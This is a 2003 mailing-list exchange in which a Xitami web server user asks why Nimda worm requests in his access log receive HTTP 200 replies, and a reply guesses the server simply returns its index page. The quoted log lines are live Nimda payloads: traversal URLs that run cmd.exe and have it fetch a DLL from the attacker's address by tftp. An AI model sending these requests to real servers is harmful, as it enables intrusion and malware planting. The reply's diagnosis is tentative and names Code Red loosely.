[Xitami] Nimda & status 200 message

[Patricko]

Not to worry it's code red or a variants of it the 200 code is just what xitami
gives when it sees the /scripts/..%% and defaults to index page I do believe hum
just was said a few day's ago I think

Have fun I am

----- Original Message -----
From: "Richard Leitch" <dick@leitchfamily.freeserve.co.uk>
To: <xitami@lists.xitami.org>
Sent: Saturday, March 15, 2003 7:00 AM
Subject: [Xitami] Nimda & status 200 message


> Hi,
> New to this, hope that someone can put my mind at rest.
>
> Am getting lots of hits from codered and codered11 which are getting 404
replies.
> Am also getting hits from Nimda, but some lines are getting a 200 reply.  Why?
and is it a probem?
>
> Checked out the archives before sending this, it was discussed in Sept 2001
but no real answer.
>
> Am running v2.5b4 on win98 behind winroute (kerio) firewall.
>
> below is a portion of my access log, the 200 replies start at line 13.
>
> 80.5.247.49 - - [12/Mar/2003:21:29:52 +0000] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:53 +0000] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20c
ool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:54 +0000] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20c
ool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:55 +0000] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20c
ool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:56 +0000] "GET
/scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:58 +0000] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:59 +0000] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20coo
l.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:30:00 +0000] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20coo
l.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:30:01 +0000] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%20coo
l.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:30:05 +0000] "GET
/scripts/..%%35c../httpodbc.dll HTTP/1.0" 200 -1 "" ""